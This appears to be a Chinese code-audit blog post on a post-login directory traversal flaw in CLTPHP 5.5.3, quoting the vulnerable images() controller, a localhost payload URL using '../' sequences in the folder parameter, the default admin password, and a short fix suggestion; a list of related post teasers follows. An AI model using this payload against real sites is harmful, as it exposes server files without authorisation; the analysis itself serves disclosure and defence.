0x00 环境准备

CLTPHP官网:http://www.cltphp.com

网站源码版本:CLTPHP内容管理系统5.5.3版本

程序源码下载:https://gitee.com/chichu/cltphp

默认后台地址: http://127.0.0.1/admin/login/index.html

默认账号密码: 后台登录名:admin  密码:admin123

测试网站首页:

0x01 代码分析

1、/app/admin/controller/Template.php  第135-168行:

2、public function images(){

3、    $path = $this->publicpath.'images/'.input('folder').'/';

4、    $uppath = explode('/',input('folder'));

5、    $leve = count($uppath)-1;

6、    unset($uppath[$leve]);

7、    if($leve>1){

8、        unset($uppath[$leve-1]);

9、        $uppath = implode('/',$uppath).'/';

10、            }else{

11、                $uppath = '';

12、            }

13、            $this->assign ( 'leve',$leve);

14、            $this->assign ( 'uppath',$uppath);

15、            $files = glob($path.'*');

16、            $folders=array();

17、            foreach($files as $key => $file) {

18、                $filename = basename($file);

19、                if(is_dir($file)){

20、                    $folders[$key]['filename'] = $filename;

21、                    $folders[$key]['filepath'] = $file;

22、                    $folders[$key]['ext'] = 'folder';

23、                }else{

24、                    $templates[$key]['filename'] = $filename;

25、                    $templates[$key]['filepath'] = $file;

26、                    $templates[$key]['ext'] = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));

27、                    if(!in_array($templates[$key]['ext'],array('gif','jpg','png','bmp'))) $templates[$key]['ico'] =1;

28、                }

29、            }

30、            $this->assign ( 'title','媒体文件' );

31、            $this->assign ( 'path',$path);

32、            $this->assign ( 'folders',$folders );

33、            $this->assign ( 'files',$templates );

34、            return $this->fetch();

35、        }

在这段函数中,参数folder未进行任何有效过滤,获取目录下的文件信息,导致程序在实现上存在目录遍历漏洞,攻击者可利用该漏洞获取敏感信息。

0x02 漏洞利用

1、登录后台,构造url,获取网站目录结构。

获取网站根目录Payload:

http://127.0.0.1/admin/Template/images.html?folder=slideshow/../../../../../

0x03 修复建议

1、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CLTPHP_v5.5.3后台目录遍历漏洞分析相关推荐

  1. 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  2. 目录浏览(目录遍历)漏洞和任意文件读取/下载漏洞

    目录 目录浏览(目录遍历)漏洞 任意文件读取/下载漏洞 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件 ...

  3. 目录遍历漏洞和任意文件下载漏洞

    目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏览,这会导致网站很多隐私文件与目录泄露,比如数据库备份文件.配置文件等,攻击者利用该信息可以为进一步入侵网站做准备 ...

  4. 目录遍历漏洞:入侵检测php程序中的目录遍历漏洞,目录浏览(目录遍历)漏洞

    目录浏览(目录遍历)漏洞 来源:信管网 2019年08月26日 [所有评论] 目录浏览漏洞属于目录遍历漏洞的一种 目录浏览(目录遍历)漏洞 目录浏览漏洞是由于网站存在配置缺陷,导致网站目录可以被任意浏 ...

  5. php目录遍历漏洞复现,nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现...

    nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...

  6. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  7. ewebeditor漏洞之目录遍历漏洞

    这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证 ...

  8. Web安全 目录遍历漏洞(带你畅读 服务器中的机密文件.)

    目录遍历漏洞概括: 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活. 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台 ...

  9. 【网络安全】WEB漏洞 pickchu靶场搭建:实例演示sql数字注入、目录遍历漏洞、文件下载漏洞

    WEB漏洞01 CTE,SRc,红蓝对抗,实战等#简要说明以上漏洞危害情况 #简要说明以上漏洞等级划分 #简要说明以上漏洞重点内容 #简要说明以上漏洞形势问题 靶场搭建:https://github. ...

最新文章

  1. 51单片机实现对24C02进行页写、顺序读取并显示验证
  2. jquery之empty()与remove([expr])区别
  3. 常见 Serverless 架构模式
  4. 使用 cout 输出数据之控制输出格式(二)
  5. iOS 开发中需要注意的小地方
  6. win10虚拟机dhcp服务器设置,win10 dhcp服务器设置方法
  7. 让Salesforce用户管理变得更加容易的几种最佳实践
  8. C盘空间太小,建议删除如下文件以释放空间!
  9. 使用fseek()函数随机访问文件
  10. python面向对象三大特性_python面向对象的三大特性
  11. Android 输入法问题 解决三星s5830i或华为低端机输入法崩溃问题
  12. Vue中 keep-alive 详解
  13. 论山寨手机与Android 【6】MTK手机的基带芯片
  14. 《当时只道是寻常》——安意如——品纳兰容若《饮水词》
  15. idea2020.1.1 窗口显示 Outdated version. 完美解决
  16. 连接微信运动服务器忙,为啥微信运动突然不计步了(只需一招问题立马解决)...
  17. 新型工业路由器,为进入智能工业时代加快步伐
  18. 向图档插入外部DWG图片 auto CAD .NET二次开发
  19. 女生学Java好学吗?适合学习吗?
  20. 若A、B都是n阶正交阵,那么,A X B是正交阵吗?

热门文章

  1. 算法实践:数独(1)
  2. 翼支付门户架构之Spring Security框架介绍
  3. 木球竞赛抽签计分系统_桌面应用
  4. 快瞳AI+OCR识别,助力纸质文档数字化管理
  5. 06.前端之BootStrap
  6. 一个姓名按照笔画排序的页面
  7. 使用Python求解最小公倍数与最大公约数
  8. Python——最大公约数与最小公倍数
  9. primary key 和 unique区别
  10. COMSOL中事件接口介绍二,隐式事件